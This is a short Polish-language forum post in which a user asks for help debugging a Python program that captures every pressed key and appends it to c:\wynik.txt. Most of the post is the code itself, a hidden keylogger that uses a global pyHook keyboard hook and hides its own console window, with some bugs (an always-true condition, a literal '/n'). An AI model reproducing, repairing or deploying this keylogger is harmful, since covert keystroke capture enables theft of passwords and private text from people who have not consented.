Witam.
Skleciłem kod ktory rozpoznaje wcisnety klawisz i zczytuje go z klawiatury po czym zapisuje do pliku wynik.txt
pogram sie kompiluje lecz odpala ale nie wyzuca wyniku.txt
kod podam osobiscie ne prv osobie ktora jest w stanie mi go sprawdzić.
korzystam z bibliotek:
import pythoncom, pyHook
pyHook musiałem sciagnać i doinstalować.
import win32api
import win32console
import win32gui
import pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii != 0 or 8:
f=open('c:\wynik.txt','r')
buffer=f.read()
f.close()
f=open('c:\wynik.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
odswiezam